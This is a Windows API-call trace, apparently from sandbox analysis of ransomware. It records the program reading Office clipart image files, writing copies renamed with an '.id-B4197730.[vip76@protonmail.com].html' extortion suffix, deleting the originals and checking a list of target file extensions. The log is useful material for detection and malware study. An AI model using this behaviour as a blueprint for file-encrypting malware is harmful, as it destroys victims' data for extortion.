	[0187.591] ReadFile (in: hFile=0x5bc, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x2378, lpOverlapped=0x0) returned 1
	[0187.593] WriteFile (in: hFile=0x478, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x2380, lpOverlapped=0x0) returned 1
	[0187.594] ReadFile (in: hFile=0x5bc, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.594] WriteFile (in: hFile=0x478, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.594] SetEndOfFile (hFile=0x478) returned 1
	[0187.595] CloseHandle (hObject=0x478) returned 1
	[0187.595] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.595] SetEndOfFile (hFile=0x5bc) returned 1
	[0187.597] CloseHandle (hObject=0x5bc) returned 1
	[0187.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1
	[0187.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0187.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0187.599] lstrlenW (lpString=".doc") returned 4
	[0187.599] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0187.599] lstrlenW (lpString=".docx") returned 5
	[0187.599] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0187.599] lstrlenW (lpString=".pdf") returned 4
	[0187.599] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0187.599] lstrlenW (lpString=".xls") returned 4
	[0187.599] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0187.599] lstrlenW (lpString=".xlsx") returned 5
	[0187.600] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0187.600] lstrlenW (lpString=".ppt") returned 4
	[0187.600] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0187.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0187.600] lstrlenW (lpString=".zip") returned 4
	[0187.600] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0187.600] lstrlenW (lpString=".rar") returned 4
	[0187.600] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0187.600] lstrlenW (lpString=".bz2") returned 4
	[0187.600] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0187.600] lstrlenW (lpString=".7z") returned 3
	[0187.600] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0187.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0187.600] lstrlenW (lpString=".dbf") returned 4
	[0187.600] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0187.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0187.600] lstrlenW (lpString=".1cd") returned 4
	[0187.600] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0187.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0187.600] lstrlenW (lpString=".jpg") returned 4
	[0187.600] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0187.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0187.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0187.600] lstrlenW (lpString=".doc") returned 4
	[0187.600] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0187.600] lstrlenW (lpString=".docx") returned 5
	[0187.600] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0187.600] lstrlenW (lpString=".pdf") returned 4
	[0187.601] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0187.601] lstrlenW (lpString=".xls") returned 4
	[0187.601] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0187.601] lstrlenW (lpString=".xlsx") returned 5
	[0187.601] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0187.601] lstrlenW (lpString=".ppt") returned 4
	[0187.601] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0187.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0187.601] lstrlenW (lpString=".zip") returned 4
	[0187.601] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0187.601] lstrlenW (lpString=".rar") returned 4
	[0187.601] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0187.601] lstrlenW (lpString=".bz2") returned 4
	[0187.601] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0187.601] lstrlenW (lpString=".7z") returned 3
	[0187.601] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0187.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0187.601] lstrlenW (lpString=".dbf") returned 4
	[0187.601] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0187.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0187.601] lstrlenW (lpString=".1cd") returned 4
	[0187.601] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0187.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0187.601] lstrlenW (lpString=".jpg") returned 4
	[0187.601] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0187.602] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0187.602] lstrlenW (lpString="J0099193.GIF") returned 12
	[0187.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0187.603] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=35546) returned 1
	[0187.603] CloseHandle (hObject=0x5bc) returned 1
	[0187.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 0x220
	[0187.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0187.603] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.604] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0187.604] GetLastError () returned 0x0
	[0187.604] ReadFile (in: hFile=0x5bc, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x8ada, lpOverlapped=0x0) returned 1
	[0187.607] WriteFile (in: hFile=0x478, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x8ae0, lpOverlapped=0x0) returned 1
	[0187.609] ReadFile (in: hFile=0x5bc, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.609] WriteFile (in: hFile=0x478, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.609] SetEndOfFile (hFile=0x478) returned 1
	[0187.609] CloseHandle (hObject=0x478) returned 1
	[0187.610] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.610] SetEndOfFile (hFile=0x5bc) returned 1
	[0187.614] CloseHandle (hObject=0x5bc) returned 1
	[0187.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 1
	[0187.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0187.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0187.615] lstrlenW (lpString=".doc") returned 4
	[0187.615] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.615] lstrlenW (lpString=".docx") returned 5
	[0187.615] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0187.615] lstrlenW (lpString=".pdf") returned 4
	[0187.615] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.615] lstrlenW (lpString=".xls") returned 4
	[0187.615] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.615] lstrlenW (lpString=".xlsx") returned 5
	[0187.615] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0187.615] lstrlenW (lpString=".ppt") returned 4
	[0187.615] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0187.615] lstrlenW (lpString=".zip") returned 4
	[0187.615] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.615] lstrlenW (lpString=".rar") returned 4
	[0187.616] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.616] lstrlenW (lpString=".bz2") returned 4
	[0187.616] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.616] lstrlenW (lpString=".7z") returned 3
	[0187.616] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0187.616] lstrlenW (lpString=".dbf") returned 4
	[0187.616] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0187.616] lstrlenW (lpString=".1cd") returned 4
	[0187.616] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0187.616] lstrlenW (lpString=".jpg") returned 4
	[0187.616] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0187.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0187.616] lstrlenW (lpString=".doc") returned 4
	[0187.616] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.616] lstrlenW (lpString=".docx") returned 5
	[0187.616] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0187.616] lstrlenW (lpString=".pdf") returned 4
	[0187.616] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.616] lstrlenW (lpString=".xls") returned 4
	[0187.616] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.616] lstrlenW (lpString=".xlsx") returned 5
	[0187.616] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0187.616] lstrlenW (lpString=".ppt") returned 4
	[0187.616] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0187.617] lstrlenW (lpString=".zip") returned 4
	[0187.617] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.617] lstrlenW (lpString=".rar") returned 4
	[0187.617] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.617] lstrlenW (lpString=".bz2") returned 4
	[0187.617] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.617] lstrlenW (lpString=".7z") returned 3
	[0187.617] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0187.617] lstrlenW (lpString=".dbf") returned 4
	[0187.617] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0187.617] lstrlenW (lpString=".1cd") returned 4
	[0187.617] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0187.617] lstrlenW (lpString=".jpg") returned 4
	[0187.617] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.617] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0187.617] lstrlenW (lpString="J0099194.GIF") returned 12
	[0187.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0187.704] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=25265) returned 1
	[0187.705] CloseHandle (hObject=0x5bc) returned 1
	[0187.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220
	[0187.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0188.592] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.592] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0188.593] GetLastError () returned 0x0
	[0188.593] ReadFile (in: hFile=0x5e8, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x62b1, lpOverlapped=0x0) returned 1
	[0188.595] WriteFile (in: hFile=0x5ec, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x62c0, lpOverlapped=0x0) returned 1
	[0188.597] ReadFile (in: hFile=0x5e8, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.597] WriteFile (in: hFile=0x5ec, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.597] SetEndOfFile (hFile=0x5ec) returned 1
	[0188.598] CloseHandle (hObject=0x5ec) returned 1
	[0188.598] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.598] SetEndOfFile (hFile=0x5e8) returned 1
	[0188.601] CloseHandle (hObject=0x5e8) returned 1
	[0188.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0188.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1
	[0188.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0188.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0188.607] lstrlenW (lpString=".doc") returned 4
	[0188.607] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0188.607] lstrlenW (lpString=".docx") returned 5
	[0188.607] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1
	[0188.607] lstrlenW (lpString=".pdf") returned 4
	[0188.607] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0188.607] lstrlenW (lpString=".xls") returned 4
	[0188.607] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0188.607] lstrlenW (lpString=".xlsx") returned 5
	[0188.607] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1
	[0188.608] lstrlenW (lpString=".ppt") returned 4
	[0188.608] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0188.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0188.608] lstrlenW (lpString=".zip") returned 4
	[0188.608] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0188.608] lstrlenW (lpString=".rar") returned 4
	[0188.608] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0188.608] lstrlenW (lpString=".bz2") returned 4
	[0188.608] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0188.608] lstrlenW (lpString=".7z") returned 3
	[0188.608] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0188.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0188.608] lstrlenW (lpString=".dbf") returned 4
	[0188.608] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0188.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0188.608] lstrlenW (lpString=".1cd") returned 4
	[0188.608] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0188.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0188.608] lstrlenW (lpString=".jpg") returned 4
	[0188.608] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0188.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0188.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0188.608] lstrlenW (lpString=".doc") returned 4
	[0188.608] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0188.608] lstrlenW (lpString=".docx") returned 5
	[0188.608] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1
	[0188.608] lstrlenW (lpString=".pdf") returned 4
	[0188.608] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0188.608] lstrlenW (lpString=".xls") returned 4
	[0188.608] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0188.609] lstrlenW (lpString=".xlsx") returned 5
	[0188.609] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1
	[0188.609] lstrlenW (lpString=".ppt") returned 4
	[0188.609] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0188.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0188.609] lstrlenW (lpString=".zip") returned 4
	[0188.609] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0188.609] lstrlenW (lpString=".rar") returned 4
	[0188.609] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0188.609] lstrlenW (lpString=".bz2") returned 4
	[0188.609] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0188.609] lstrlenW (lpString=".7z") returned 3
	[0188.609] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0188.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0188.609] lstrlenW (lpString=".dbf") returned 4
	[0188.609] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0188.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0188.609] lstrlenW (lpString=".1cd") returned 4
	[0188.609] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0188.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0188.609] lstrlenW (lpString=".jpg") returned 4
	[0188.609] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0188.609] lstrcmpiW (lpString1=".BMP", lpString2=".html") returned -1
	[0188.609] lstrlenW (lpString="J0101862.BMP") returned 12
	[0188.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0188.610] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=32184) returned 1
	[0188.610] CloseHandle (hObject=0x5e8) returned 1
	[0188.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 0x220
	[0188.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0188.611] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.611] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0188.612] GetLastError () returned 0x0
